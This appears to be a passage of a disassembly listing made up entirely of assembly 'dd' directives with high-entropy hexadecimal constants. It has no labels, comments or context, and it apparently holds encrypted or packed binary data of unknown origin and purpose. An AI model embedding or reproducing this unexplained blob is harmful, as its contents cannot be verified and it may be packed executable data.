		dd 0CB048107h, 0A6E4D8Dh, 5A8185BDh, 3C4E4146h,	26BB4A20h
		dd 3A500C99h, 0FCF909D5h, 0FE0598CFh, 5BDE3146h, 348A88BAh
		dd 40B67312h, 1AEB7417h, 71D73EF6h, 8D1649B2h, 8FB6E917h
		dd 3F05CE91h, 77C2C6C9h, 2127EC6Ch, 0EDEED5C1h,	0E25E918h
		dd 12B9BA46h, 0EC160866h, 41683F1Bh, 691BD420h,	825561EAh
		dd 60AC55h, 1425CDBDh, 0E9845F4h, 44286407h, 0EF6AC117h
		dd 5F67C501h, 0A13A61F8h, 29404072h, 147FAF4Ch,	4623C606h
		dd 4E6A2187h, 6D1B457Bh, 0F9F3EAA5h, 0D327B121h, 1052A45Bh
		dd 125B3BF7h, 0DDF9277Ah, 0FC1A929Eh, 0F4542F6Ch, 0F25752B5h
		dd 0CB0359D2h, 2F6B8E41h, 0A7E90BCEh, 55382923h, 407D49EBh
		dd 70002C4Fh, 0CA06C6BFh, 0B6DBF438h, 93491DCEh, 27F0EC32h
		dd 51ED575Ah, 433B9A25h, 0A99691CEh, 0B2C6696Ch, 0ED05A146h
		dd 4A5B3E7Bh, 0BA0095F3h, 8F548B7h, 724BFDE9h, 1C89D5BDh
		dd 8D0B1BE2h, 242047FFh, 4B7B478Bh, 1B6824D9h, 7C9FE942h
		dd 8BD6AFDEh, 0B8C43A12h, 0F29CDCAAh, 4031305Bh, 8407D34Ah
		dd 971387E3h, 0FCB70F06h, 36710477h, 40EA2C80h,	652FE6E7h
		dd 0D3B809DDh, 6AE3F15Ah, 2334864Ch, 0E7B7EA84h, 0FC2CEE4Eh
		dd 0F43C0751h, 210D2D7Eh, 20351C78h, 535A7459h,	1793ACA4h
		dd 0A1FE77BFh, 92AC3AA7h, 0FAD51CB3h, 2CE90D6Ch, 407E071Dh
		dd 7DAA532Bh, 0AF2FA0A1h, 6442740Dh, 5541C050h,	7101165Bh
		dd 5D296FB8h, 0FC2B3132h, 0C035C0BBh, 7054415Ch, 0BC6A1E0Dh
		dd 142B8775h, 0CD2D209Bh, 6358257Ah, 18F601F6h,	0C2012F90h
		dd 8A096137h, 53057A54h, 35C9BB80h, 3450652Dh, 62578267h
		dd 5D48FDD5h, 7D250F9Ch, 36B6C555h, 809E628h, 78774D49h
		dd 0B36FE379h, 6162D964h, 4FDB100h, 0C85C9D70h,	14405A30h
		dd 934098EBh, 0B3FA218h, 24007D08h, 0B2713205h,	0E5001375h
		dd 48430A7Ch, 26D1312Dh, 3C05150Fh, 5ED26041h, 83098391h
		dd 0C26DDCC5h, 0DFD8EAE9h, 8A2BE5Ah, 0B85EF013h, 17F54F52h
		dd 0E1055B20h, 0E0A6FC3Bh, 9728BCE9h, 0FA8D7BA4h, 0AA7C9045h
		dd 97071FE4h, 0C74BF98h, 355A170Ch, 27680B70h, 0C67A1CE8h
		dd 79BF4B70h, 535E607Eh, 4C655A68h, 0BFAC5D2Bh,	200EBBC1h
		dd 7913071h, 308F4B5Dh,	80048CCEh, 3C9873C1h, 0F92EB0EFh
		dd 0B6528123h, 7CF788BAh, 0D12CA071h, 0A6512DE9h, 0F651DB7Eh
		dd 0F780403Ah, 78533B56h, 0A7890CC1h, 473A830Ch, 0BC5EF110h
		dd 4F442048h, 1B1E0DE1h, 0AF1A75C2h, 0E38C7504h, 0A02F4398h
		dd 0C2DAC2EFh, 5BD95F9Ch, 0B6E35F72h, 41E0C39Ah, 50153A68h
		dd 0D26C0540h, 0F20242FCh, 4ED5115Ch, 17CDCD60h, 0E9290C04h
		dd 40AF7CC8h, 6584F510h, 72C17BF0h, 1C9A408Ah, 3B2CC73Ah
		dd 2E5F2E69h, 12EA2BFAh, 1A537012h, 57ACCF92h, 786505CAh
		dd 1B8D0888h, 0E6C9675Eh, 0D9419D09h, 0D42648CBh, 672F8B61h
		dd 608698AFh, 75B4C1BEh, 0F2E31E32h, 2BCB06D0h,	0C4294256h
		dd 69F84F4Fh, 0B2D7F718h, 0FB2F15A7h, 3C8FFC6Dh, 425EE29Eh
		dd 0ECE9145Dh, 0BF0030D6h, 5A8D713Ch, 26F96F29h, 0DB3667C1h
		dd 2E44061h, 16EBD55h, 531C92C9h, 0D0FB1192h, 9B468F4Ch
		dd 0F7097C12h, 0FD5BA1BCh, 1FCEDED2h, 0D9EE161Ah, 0F1C86AA2h
		dd 6A1C4523h, 0E35BC49Fh, 59697CDFh, 51BAA96Ch,	76766983h
		dd 56BB68C2h, 16CE6A18h, 0AE2CABD1h, 68500956h,	0C00926A6h
		dd 29740757h, 8FD35799h, 87ED125h, 0B3023B7Ch, 47F32829h
		dd 9E726C0h, 0A5495479h, 1DBF2E02h, 7F516F37h, 55573109h
		dd 2B6DA118h, 9EE14C95h, 5E5D096Bh, 0B3D5CA05h,	82D9586Ah
		dd 0DCAD02E9h, 1CB04921h, 1D166F68h, 1E2085Dh, 4462EF16h
		dd 0EA6A4AF2h, 4FE9D438h, 0BA4000B3h, 48136CEBh, 1EA8316h
		dd 3AA8FE02h, 447640C4h, 8C279E53h, 0E64305A7h,	0F18C8993h
		dd 0BD01C961h, 532FCE5Bh, 0F7C02D45h, 0CD886BD9h, 4A8AF6ACh
		dd 0AE581337h, 9ADCB8F5h, 97502DC6h, 8908BC56h,	0A1F825DEh
		dd 0A39AB6F0h, 0B10B1FB0h, 54739204h, 0EFD10951h, 4E1E788Fh
		dd 0DFAB420Eh, 0CA37E958h
		dd 7E677941h, 424DE262h, 81788D9h, 9644702Fh, 0DCBB0190h
		dd 284ECB59h, 0D2C2F1FBh, 0A01BB57Dh, 2E2D0DCAh, 88EF55Bh
		dd 0A9696887h, 7008D571h, 1D117A4h, 7CFE546Dh, 51A07E08h
		dd 421955Fh, 28C8BF0Fh,	4A573A84h, 0B73094BCh, 2CCBB3Ah
		dd 21121D0Ch, 0B4F4B4D9h, 0EB7327E7h, 3C96E02Fh, 0B5D3956Fh
		dd 0C40257AFh, 2FD72D4h, 488CDFE1h, 985AD532h, 2B8F1349h
		dd 52CAF42Fh, 8C62BA42h, 0C992E7DDh, 177AC240h,	2757F948h
		dd 0B81A0048h, 0C4A9266Ah, 0C601E2Eh, 4E680E50h, 0C02DEBC9h
		dd 0A450D3F9h, 0F040478Fh, 91FF95E2h, 66E4549Ch, 0C0D1CEFAh
		dd 8478139Eh, 175EF7Ah,	8A30C8BAh, 841C26BAh, 7FEC56D9h
		dd 7050B6B0h, 0E9340DF8h, 3F3D3E21h, 2DF31580h,	256C7D16h
		dd 0DB56AC83h, 715F2262h, 0E168010Eh, 0F52AE751h, 3CD17BAFh
		dd 0A30728D5h, 14053F57h, 0C6FED6F6h, 0BF9C88ABh, 0E0101A09h
		dd 0CF64061h, 425D5F5Fh, 7B1217A2h, 9A5B5C02h, 0C272C081h
		dd 6E973F45h, 69407727h, 426F028h, 0CF2F562Ah, 4A41A8D3h
		dd 0ACBEEB7h, 1805BF4Ch, 0BEAE669Bh, 61B32716h,	599BE9C7h
		dd 606ED95Dh, 6851525Eh, 79721201h, 2BE95947h, 0F52E2765h
		dd 0FFE22A5Fh, 0D0B0D017h, 3BFB05B0h, 897C7601h, 0D80158C3h
		dd 443CAE3Bh, 75114D45h, 374C2313h, 0ADE335ADh,	91B8922Bh
		dd 86E95081h, 0F9473A4Bh, 0AE255FB6h, 800719A1h, 4D833001h
		dd 0EF2DEA2Fh, 5AC31050h, 9717E630h, 4D2F4916h,	4110D14Ch
		dd 8B80B9E9h, 805A5BEAh, 3B0ACB85h, 0CAB3A023h,	0EB440663h
		dd 88424A59h, 3017370Bh, 5A4E0335h, 46ABE4E9h, 6B6B5629h
		dd 0EB7A5F26h, 8BE1E8C5h, 0B5EA29F0h, 4D00EEF0h, 969C577h
		dd 0BDF0E9DAh, 0E5022152h, 55E663E4h, 20F84045h, 60071B01h
		dd 92003A31h, 119638D9h, 95432EE9h, 0EBBEF445h,	9CC4DD0Ch
		dd 1D0F2A0Ah, 0F705D50Bh, 7EC2C01Bh, 9713F027h,	2FF53CDFh
		dd 888A0DE9h, 0E635A2Bh, 899007F6h, 3ED67FA2h, 2B5BDD8Bh
		dd 0BFFA0098h, 4DA70583h, 0E210FD35h, 3DC8055h,	483119A4h
		dd 7F194CCBh, 6FEA1D52h, 1766CB8h, 0A678D8C2h, 411A0159h
		dd 6A743FBFh, 0A97F3ECDh, 1AED10EDh, 1DE4312Fh,	0C707F225h
		dd 9768045Fh, 0E9569C2Ch, 44F22631h, 0C6DCF988h, 0DAF5ABB1h
		dd 845ED942h, 0C1393247h, 6CEAF9F9h, 72099E8Ah,	0F059447Eh
		dd 290D40C5h, 3AC6C650h, 32855718h, 2015110Ch, 0A6B51C40h
		dd 0B0E5832h, 3E7E5BA6h, 9489F038h, 68E36DC2h, 0D4B15F6Ah
		dd 486C75h, 0E8C0D00Ch,	0FA1D3402h, 0ECFE783Bh,	0C6282E2Ch
		dd 0C1DEAFBDh, 7D1A5242h, 0C65F361Ah, 0B354F5A5h, 7727BB1Ah
		dd 0C3804430h, 942A8D98h, 0B809945Eh, 50343B11h, 0EE4C0973h
		dd 4D2CBC4h, 380557F4h,	209DE979h, 7E0189EBh, 9C2D16A6h
		dd 0B4290F09h, 0F70920C7h, 43B5219h, 0DF87FB71h, 18C98005h
		dd 0F8280106h, 0E92F072Dh, 24387F96h, 0F3BBD601h, 87DE2Dh
		dd 5FA15BAh, 0D67AE949h, 0D75A19B2h, 0B39401FBh, 6FC3EC80h
		dd 9505FCB0h, 0C1B77303h, 0B2522600h, 4CF28088h, 2C799020h
		dd 53FA7302h, 2F7C6EDFh, 6052B6DCh, 92599BCAh, 42D63CC5h
		dd 8CAC9F16h, 0CC59E674h, 377F02A3h, 9890879h, 8E1D107Fh
		dd 0F4CF7E61h, 87842AE9h, 179349CDh, 3E47347Ah,	41A8BF14h
		dd 77E82FA9h, 1E67BBA7h, 17A2088h, 2679C1B9h, 0AA6AE87Eh
		dd 68819091h, 1DB4CDEh,	9612E1F4h, 16D74B81h, 0B35317AEh
		dd 439D0CC9h, 0F696EF2Bh, 0E869418Bh, 26357FDDh, 0D750C4h
		dd 22E278F8h, 0E912D2F7h, 83C9365Bh, 0EE2BB6ADh, 64E95381h
		dd 0DCC6490Ch, 689572EBh, 807F2A28h, 3A73F480h,	90A8CC3Dh
		dd 0C458C76Ch, 9654881Ch, 79720032h, 8134610Dh,	182ECD0Bh
		dd 18D6D897h, 324136E9h, 730FB151h, 74C5C980h, 897869D1h
		dd 2A27BD1h, 39360E21h,	2516BD16h, 0A836120Bh, 61B2E04Ah
		dd 60A49E72h, 46D43F1Ch, 58C23118h, 0B0F0CB4h, 1FE92920h
		dd 0EDD089ABh, 0F416759Dh, 675771BFh, 0CEF78B62h, 0F7519568h
		dd 110FAACAh, 0D137002Ah, 0E9F749E1h, 54EDC441h, 5D6028CDh
		dd 685A80A3h, 662EB72Fh, 2BBB1D25h, 0BE22C646h,	19BC0B2Fh
		dd 0E9F12102h, 8F6154B3h, 0CB4763CFh, 107EB23Fh, 5151E976h
		dd 1729BA3Eh, 3E7BDD3Eh, 0DCFB8124h, 0DD59E946h, 46B00052h
		dd 2C06E0C0h, 0BBD6958Ch, 33542113h, 6FC500C3h,	51D09EBh
		dd 584EFAAFh, 56048C1Fh, 0FE26ADE9h, 5793B28Ah,	0F0C0EB60h
		dd 25239D68h, 0D94DB4h,	0ABBCF660h, 316E1696h, 5B6308F2h
		dd 0E4CD890Eh, 0BE00DE02h, 2CD56B9Ah, 5B6DE8C1h, 587C4177h
		dd 8DF3D102h, 445F315Eh, 725FC1h, 5AE6BD18h, 68907562h
		dd 321270A0h, 278222Eh,	4A4B55A7h, 0B6B60F7h, 0F0BF4189h
		dd 8C15101h, 0C98B46F4h, 0E311D197h, 165DCEEBh,	0F5E2FB16h
		dd 8084EA7Bh, 5E863EBh,	21077718h, 9EA3FBC2h, 12AF0D4Ah
		dd 0E3E4BAC1h, 2E091412h, 0F128CC54h, 0CDE92C07h, 0C5688B6Ah
		dd 0B746EF2Fh, 0A50A1577h, 0ED516232h, 9566E08h, 0E30004B0h
		dd 59C828E5h, 7C4F80B0h, 58D5D9A5h, 5734FB2Fh, 55E7A401h
		dd 7941064Dh, 0B9811E8Fh, 0B87FD5E2h, 0F5040007h, 24FB4ADFh
		dd 90F68277h, 0A2D5BD2h, 4C2CCC5Dh, 2D87E9D9h, 657D0B1Ah
		dd 49418BF1h, 0DA61BD3h, 5C754B09h, 725F7AA2h, 2BD30A10h
		dd 9E4B47h, 3C2FE2C1h, 6971E923h, 163261C5h, 0D6753BF2h
		dd 0C6D4059Ch, 5B88EB4Ch, 0F76817F2h, 74587261h, 56EE5D72h
		dd 0A631CFC9h, 0C1F80CCh, 3DDA6859h, 9696E26Fh,	2006BB19h
		dd 0B46C1489h, 591B4E75h, 5E243CD4h, 25245Bh, 1DBD7B86h
		dd 0F302814Bh, 0E53E6F8Eh, 16D26031h, 6E68805Bh, 41E3695Eh
		dd 0B78CAC39h, 0FA44576Ch, 7BF45E10h, 7A6AE305h, 704F8742h
		dd 665190CBh, 1CE92A1Ah, 88D655EBh, 2E284558h, 0EF46A39h
		dd 9561D7BFh, 0DDE9F701h, 7A85352Ch, 4CECD3F4h,	9543359h
		dd 95547E52h, 57DA5AD6h, 0FE4EF596h, 5B1227EDh,	0E3C8EB15h
		dd 9F406F3h, 9C43211Eh,	60A8FE5Eh, 31E0804Ah, 0EA905BDAh
		dd 60D59855h, 0EF408B6Ah, 22E60681h, 0CC24DA2Eh, 48180406h
		dd 2F3D8923h, 1FE05BDFh, 7E9F71E9h, 40C36BACh, 81D72191h
		dd 49EC7D2h, 0C8252EAh,	8C05C655h, 2E5A047Dh, 4D7C10Eh
		dd 0AC59A732h, 29E19273h, 8725FD7Eh, 4F087990h,	2542840Bh
		dd 3A0CAE61h, 9705083Dh, 9FE0E3AEh, 0E50DE56Fh,	0FE12958Bh
		dd 0B9B16FE2h, 0C2EE6240h, 0FD1C01E9h, 534455F3h, 4A1267E2h
		dd 5B13E3BAh, 0D55631C2h, 0B7858445h, 9282CC38h, 95DCD8D9h
		dd 0E9D917FEh, 127B78FEh, 7031B9h, 2A6EBA0Fh, 0CAF2213Eh
		dd 0E9E240F1h, 0CF9EB9BCh, 989FB62h, 6395678h, 0C50BEFD1h
		dd 29BE2C76h, 4B80791Eh, 0B79D8AB0h, 0F7F8FB78h, 0C4A5965Bh
		dd 5C30C2E7h, 450501F2h, 7E603D46h, 70462E1h, 60BC7595h
		dd 82475FF1h, 4ED6F37Dh, 0B28B751Ch, 5A882C45h,	0DEB00236h
		dd 38E29A0Ch, 5D4BC3F8h, 0A010848Eh, 68786154h,	1B381DEEh
		dd 0B14EDAC1h, 279D2050h, 600E5D02h, 917DDD68h,	346A51FBh
		dd 0B6B2BE7Ah, 26158A1Ah, 97E9D07Dh, 0D62D4B70h, 0E2821392h
		dd 580F5840h, 0FA588804h, 2E2C002h, 98F7E068h, 127FB540h
		dd 56D898E9h, 3AC8FFA6h, 8CF26687h, 5E4C3056h, 9DC30276h
		dd 61CEE7BFh, 3A489B6Fh, 28365FBDh, 504D3450h, 1EAC4A1Ah
		dd 878F4E0Eh, 0EC270893h
		dd 5D0DB927h, 103FA62Eh, 0A84F45F1h, 0D8AA4EF8h, 40A066F6h
		dd 0EF96F22Bh, 8AEED2EFh, 0EDE90C01h, 77B10A0Fh, 0BF3C2563h
		dd 0DF688590h, 0BB8C7C4Eh, 25710B36h, 0D3805E18h, 219D79C9h
		dd 9CBEE8BDh, 1D2D083Eh, 0CC85401h, 42B5A18h, 534209EEh
		dd 66DD295Dh, 610C8264h, 4C259EF0h, 6EBAA16Bh, 4409DB2Ch
		dd 8A7FC1C3h, 1C73D925h, 68521C64h, 3FF5F2BCh, 4F176CFCh
		dd 67F5C295h, 78F8B5F1h, 0E9F80929h, 99B543Bh, 19B8C1h
		dd 0A057D1F7h, 2717B2D7h, 0A0577D0Eh, 0C24DD3EDh, 44C8B833h
		dd 5ABFC653h, 8F4C952Ah, 0D4A3601h, 59CE291Eh, 0D1D6BE38h
		dd 42DD03Ah, 0BF1734EBh, 94A79A9h, 9229E5E9h, 0CB0816D4h
		dd 61FF2527h, 0A86AEBEFh, 0B38E5060h, 4C620CB9h, 0D01257D5h
		dd 3B3D2261h, 53AA3135h, 3C370DE4h, 6083316Bh, 1769024Ah
		dd 12294712h, 8FE3FECDh, 0FB4A3C48h, 0D342F329h, 0FF8109F0h
		dd 6579CB70h, 5A509C97h, 2129750Eh, 0ECAE9CFh, 532EF67Dh
		dd 161311B7h, 39EE58C1h, 4AB62A12h, 2C72777h, 5F6913F1h
		dd 5030D2FAh, 5EF15711h, 0F7D91987h, 0E48108D3h, 454F08B6h
		dd 780026FCh, 401A931Dh, 0BDF8482Dh, 6BED1E4Eh,	2DE62B10h
		dd 760BD552h, 30681F22h, 62CC8409h, 63D4491Eh, 2081165Dh
		dd 801C8AFCh, 0C5CE27CDh, 59E8079Fh, 8E2CF800h,	0EA5ED2E9h
		dd 267965A2h, 17595A5Dh, 0E56E49F1h, 0AECDC700h, 4F76E233h
		dd 0BFACF512h, 0D4FF8013h, 0DECAFBF6h, 0E36AA613h, 81DD24B3h
		dd 204263ACh, 87C75559h, 8026712Ch, 10A997BAh, 12FAB3E4h
		dd 8072187Bh, 997623Ah,	5AF2E249h, 536228EFh, 0FB89135Ah
		dd 9C658DE0h, 4AFFE9C4h, 0B831C29Fh, 8097722Dh,	4C26EB80h
		dd 0A18C450h, 140BCFB5h, 8444B972h, 0C300AA48h,	9969108h
		dd 4BB05FFEh, 0F03FA9B0h, 8BCE8254h, 77709067h,	0BF1DF4AEh
		dd 71567427h, 85BC5F49h, 5E8BFCBCh, 7A06F662h, 2D00026Ch
		dd 6A477FB2h, 0A005E801h, 5AE95D07h, 0EF231786h, 12FEE774h
		dd 90CDEA29h, 0F675AA3Eh, 38EB0994h, 0E91652D7h, 6129932Eh
		dd 4F1535BFh, 0C52FE7FCh, 0CBA0DD7h, 27C6AC7Eh,	617C745Eh
		dd 408257E9h, 83239B18h, 0ED040C76h, 0D1ECF6E8h, 0F1CBB0FAh
		dd 0D9FECC0Bh, 499E84B9h, 16268FA3h, 215F926Bh,	69B34Dh
		dd 9809EB6h, 0F488B8C6h, 0A4727B02h, 70D07F09h,	7D0F6A25h
		dd 0BD82C9C5h, 69C72082h, 1425ADD7h, 0AD712EE1h, 2D7FE141h
		dd 934FE33Ah, 0EBD3F8A8h, 4F348FB4h, 1650D80Fh,	85A16549h
		dd 0AFE8609Eh, 0B304AB97h, 0C717680Bh, 10CB62FFh, 9991E77Dh
		dd 7E5BA90Eh, 83D544F3h, 2C22680Ah, 50BF873Dh, 0C278B447h
		dd 0BE001B6Fh, 7AF46C28h, 48BA326Eh, 6A5F052Eh,	0EBCCD5BBh
		dd 9D7BDE2Bh, 0AE019C1Ch, 6985E92Bh, 0F504AE04h, 22B9E056h
		dd 163B6650h, 81B72562h, 0F2E4E91Fh, 7E27DB73h,	18572F8Ch
		dd 0A82981D4h, 12336837h, 0A8433F37h, 35B8D766h, 291B3631h
		dd 0C31FA0EAh, 2A408241h, 7BE3199Fh, 0EDD92D4Bh, 0C70BBAFBh
		dd 0C46C58Bh, 51A3F6CFh, 0E4AEAA0h, 38C24FC1h, 0A6309017h
		dd 416E09EAh, 425F1FFEh, 1C080D5Ch, 88EE1404h, 0F42B68A3h
		dd 6C02A158h, 6015AC35h, 306E9558h, 0A80C661Eh,	0D4C7F54h
		dd 233E0731h, 0F66012CCh, 48923384h, 174E7186h,	1DCBBFCAh
		dd 5BDE325Eh, 0F6C2C609h, 160D60E2h, 88C3FE59h,	1667D097h
		dd 0EB07E6C0h, 5DB51BC2h, 7227E751h, 1B0F3D7Ch,	54DDEB4Bh
		dd 846AB9F5h, 0BAA5648Fh, 1688E68Ah, 0C7C6C827h, 2C2704E6h
		dd 0AFDF295Bh, 0B90EEAB9h, 0E0B6E21h, 0D40CD1A7h, 18D7C319h
		dd 8055EBA1h, 0D72C4E18h, 0D0CF0112h, 2158081Ch, 1C9A1441h
		dd 23091E59h, 5808D1DFh, 5F4952E9h, 4B6D1799h, 1592351Eh
		dd 0E95FB5F8h, 0DE30D49Ah, 0C84A4CD0h, 6625FD9Eh, 7992FF3h
		dd 12D416CCh, 61F9DEBh,	1C84280Ch, 0D85510A2h, 740122F2h
		dd 7635E12Fh, 0EC9E441Fh, 0FCB01F74h, 128AC2D8h, 8F3BB745h
		dd 0BDD019DAh, 3B1C759Dh, 9495A9Fh, 300A6239h, 0C1E79340h
		dd 5E98261Dh, 903AE2BCh, 0E786DF4Eh, 295B491Ch,	0A1BF2AD4h
		dd 0EBAFBFA4h, 0EE967036h, 0F6624E59h, 0A4081207h, 16B4B7AFh
		dd 77D55EA3h, 53515701h, 0A06A55B3h, 882E713Dh,	70124ED1h
		dd 13A132EFh, 0E6B8CB78h, 531F6E61h, 10C38CB7h,	0DD914h
		dd 55E3C380h, 2D347C68h, 535E117Fh, 5F5FE958h, 97B15654h
		dd 0E4AFB4B1h, 0FA9FC3DEh, 0E942B967h, 0A1E853C6h, 2C9CFD82h
		dd 62FAF1B5h, 0EC5BA950h, 0D5F74D80h, 62CBA52h,	8742B338h
		dd 8C214EAh, 643095E9h,	30A1B2B8h, 0ED47ECF1h, 977C71ABh
		dd 69BB56BDh, 0D3957FF8h, 81CF145Bh, 2F422910h,	812876BFh
		dd 1F1E0A05h, 2DB44219h, 535F0780h, 9B4FD7E9h, 0C257DB72h
		dd 846CD5CAh, 1C075A1Ch, 392599BEh, 0BAEB541Ah,	0FCCAF5A7h
		dd 86DFE7F7h, 4D9DD5E9h, 582FAFB8h, 15C3D357h, 9D7DFE7Bh
		dd 0FCBA3C85h, 0EBD10978h, 0B7710143h, 0A06F1A73h, 0D265E9A6h
		dd 74A36621h, 984BE9C5h, 7D05B8D2h, 507AD814h, 0A94AED0Ch
		dd 682E09EAh, 740B1B2Ch, 0E9F8D77Eh, 2A654C8Fh,	779E7D87h
		dd 0FC1DB4EDh, 3F2B51D6h, 0B24A6E2Fh, 913F2262h, 1895BDBFh
		dd 0BE4B925Eh, 47E653C1h, 0DD002822h, 1154E581h, 149035F9h
		dd 0C0BA9E09h, 30B9D8E2h, 0FEA2D6F7h, 1B256A64h, 2807F31h
		dd 0B9719429h, 0E6F20128h, 0F35B140h, 0DA53AF4Eh, 90FD2E4Bh
		dd 33543AE9h, 4E506FEDh, 0BAAE41F1h, 0A90981Ch,	4B68AD0Ah
		dd 0DAD3B817h, 2F29D578h, 3E80F3D4h, 0E963855Fh, 0FF474B3Dh
		dd 76B35B61h, 274914A8h, 1C555B54h, 54F19DDDh, 0FD1B6AC9h
		dd 30743B83h, 3B2B3951h, 28F8CF84h, 46D45BC9h, 905257E3h
		dd 50227D68h, 40C9BE40h, 0A5ECAC20h, 1CE74D5Dh,	0C385AB04h
		dd 0BE87562Ch, 57A49D8Eh, 0C6A12D16h, 513CEF2Ah, 2CA01CB3h
		dd 0ED813EEh, 0E9C4B18Fh, 0BD1B9128h, 1657EC96h, 0C0446297h
		dd 4A0A409Bh, 7D758056h, 4A61414Fh, 7683118h, 1C5AD70h
		dd 901B7532h, 2B4C0DE9h, 16E2F140h, 242101A4h, 8E65AD5h
		dd 502157Ah, 0D5EA623Dh, 2F7680C0h, 0C260042Eh,	7710C507h
		dd 8BE9C09Eh, 0BD82BE67h, 51BDD6D8h, 0FD933E4Dh, 575DD234h
		dd 1F121C7Dh, 813D0171h, 0EC09F0F2h, 74C93A69h,	0B265E42Eh
		dd 0E0593940h, 0C20426D0h, 13200825h, 42B55104h, 0B5EFA1E1h
		dd 0E66821A0h, 0E47B954Dh, 9776B0Ah, 55DFBB80h,	12C162FEh
		dd 0BE4B02E3h, 31A4A00h, 4C89F6D2h, 0E7253FDEh,	655D5D07h
		dd 80C1433Fh, 36F184F7h, 93237461h, 632F5320h, 8E0483EFh
		dd 28909C10h, 77F72C28h, 0E9D8761Eh, 68B5C8DAh,	2DD9BC03h
		dd 0F05B947Fh, 606AB666h, 0CACD80F6h, 0B658E5E6h, 5FD64483h
		dd 0DC8F6825h, 0FA49883Eh, 12BD8129h, 0E2BF19E8h, 0A4BA803Fh
		dd 2F7CB616h, 5FEAC1h, 7EEE2D0h, 423D2E27h, 0BC301797h
		dd 2F0692D2h, 0B56308A8h, 1E813D60h, 46638B96h,	0F0995063h
		dd 0B6623CD3h, 8404CFC8h, 0C0365227h, 0E445532Fh, 0FEB554Ah
		dd 0E85783DDh, 8F1C85B1h, 6994A904h, 400EBB12h,	1DAC427Bh
		dd 8BF9C001h, 92B480E8h, 0E0C4803Dh, 0E4C06606h, 0C853E802h
		dd 822D4C9Ch, 9165928h,	0AC3B65F5h, 0D2C58835h,	212EF63Ch
		dd 3649AA22h, 69C89DD0h, 679F19A8h, 0BF62305Ah,	0F33E1FD9h
		dd 75C79516h, 0C67C8599h, 10DC7CA5h, 959EBF04h,	7E5D0E1Ch
		dd 87E1E946h, 0E6C12E34h
		dd 0B0530841h, 0AF1AB10Eh, 0DEC42F6Dh, 5E53527Dh, 65EE8FD5h
		dd 724CC29Eh, 0A7FCC3E3h, 0E90C4060h, 189FDFE8h, 3E5C63C3h
		dd 82926CBCh, 183BAD62h, 0EA591811h, 0E12418A5h, 0DB780C49h
		dd 0EF3A2E27h, 40D34F9h, 0D00774BFh, 0A55EB47Ah, 0D1205AB8h
		dd 0F708A07Fh, 0F0184B88h, 0D54AB423h, 0EF2F74BAh, 50553F30h
		dd 53D00068h, 0D1587DA6h, 270B05E0h, 0F43B8AC1h, 82F0BFAh
		dd 0BE40031Ah, 6CF88060h, 0F6E2F1E6h, 0D824D177h, 0F7812399h
		dd 51C96638h, 1C5CE43Fh, 32C41149h, 7DB8BF15h, 987B1D74h
		dd 5B03E9C7h, 0D57F910Dh, 0DD5F0239h, 85FE94B2h, 5D5FF8C2h
		dd 4512B851h, 66A3B3EBh, 7FB354h, 8B522B6h, 0C3287005h
		dd 0E0C14F09h, 0FE815F06h, 858E75E9h, 172B052Bh, 0EFC1C412h
		dd 5403A6ADh, 6D6930B2h, 0CFED7A55h, 0E3D0289Ah, 6277B800h
		dd 0C3316881h, 53659C58h, 0DA26E218h, 0C439B34Ah, 413210h
		dd 461ECA81h, 0EEA2D6EDh, 2119BB81h, 0CC3AFBC1h, 974F6B30h
		dd 0BBB569F2h, 33E418D0h, 1CC295A0h, 7C2E9910h,	0BDC4E697h
		dd 0BD0107FEh, 8210A74h, 0B76C85E8h, 0AE6BBC22h, 0B189B87Dh
		dd 93B4381Ch, 2550CC2Ch, 9B94B7FCh, 0D4E575B4h,	737BB252h
		dd 0E97AC209h, 590F2402h, 1968B5C0h, 1A9B9753h,	565D10FAh
		dd 10F0E835h, 2D5A13EBh, 8524CEF2h, 0DF5AAF16h,	375658F2h
		dd 87774C81h, 71A0058Bh, 17EEB81h, 573C70E6h, 3ED88950h
		dd 13E21544h, 5CE2FBACh, 0E9E14FD1h, 0D96F4151h, 4047E80Bh
		dd 0FA48FEB2h, 5B142764h, 1BCE2519h, 9C627990h,	5FEFD1E0h
		dd 5BF5B340h, 7853762Fh, 0FCF0B35h, 63FCFDB4h, 0B0826A2Eh
		dd 6051BF3Dh, 9DF7525h,	0EF312A1Ch, 0A6AF0785h,	2D45794Ch
		dd 5FE6E72Fh, 0AEA4A3A9h, 0E4CF8CC2h, 0B8304B97h, 58017622h
		dd 0E9D8315Ah, 1040DB57h, 0F3B808FAh, 8368B2EDh, 71D46628h
		dd 0A02B994Ah, 4BDE98FDh, 0D48BBBFDh, 80C12E7Eh, 2B4F8264h
		dd 444163Eh, 2C80A75Ah,	3905C635h, 0B0753D31h, 734459FAh
		dd 63F8D62Dh, 8880060Bh, 0FDD22BD2h, 0E90B5447h, 50A22405h
		dd 0DE8981BFh, 5F412B49h, 636960F4h, 0E2FD562Ah, 0E9116224h
		dd 96726A2Dh, 9D8C9E0Dh, 176E0243h, 51D50268h, 3FF9ADEh
		dd 739B12C0h, 35283D01h, 5F864D71h, 145822Eh, 0EA00FBDEh
		dd 5A77BB3Eh, 996C5D68h, 28DAE90Bh, 0F8B89477h,	0AB02BFCCh
		dd 2743D1F7h, 7C7E86CAh, 469C620h, 2F58550Ah, 80B15D1Ch
		dd 2857C140h, 955FE9F1h, 9A5F215Fh, 0DA426D76h,	2127E1D6h
		dd 0E7B749AAh, 2D680464h, 7913062h, 6E13E556h, 80FAE4C4h
		dd 7B6E9C4h, 51E323C0h,	24555FB9h, 10314D70h, 3E16606Bh
		dd 9034045Ah, 3CD2137Ah, 7AD104D9h, 0C43EBCA1h,	0C517AB99h
		dd 0C3910B91h, 0F101AADFh, 0BE732500h, 0BFF667Dh, 3D0E930h
		dd 685E69A0h, 0D39F20C4h, 1AB00069h, 525F5DDAh,	0E91555F0h
		dd 7A396F78h, 0EDFBC0CCh, 0E83241ACh, 0C6957C13h, 4B15B434h
		dd 70A9CF65h, 476FCC9Eh, 6E93C1Ah, 72D9E2FFh, 25622072h
		dd 3C5C77E4h, 0B5AD20E3h, 58AF864h, 0E5691781h,	93AD60F6h
		dd 4BE24B4Ah, 0D9ED809Dh, 0E97FF84Ah, 0EA52F02Ah, 57BE748h
		dd 678D3380h, 834E16F9h, 4B2F97E0h, 0C000F505h,	6B022F2Dh
		dd 0B5D4215Ch, 6010F3B6h, 372C1E7Eh, 836835C2h,	0AA98D769h
		dd 0F86F28DFh, 7F08EBF1h, 0E9250ECCh, 285E20Ch,	0DE1BE7D8h
		dd 3A3E62C7h, 501E38D3h, 773FF7CBh, 0EA4E8994h,	8CEF4047h
		dd 210131D0h, 5F27C9F8h, 5B487277h, 0CF110059h,	559030A9h
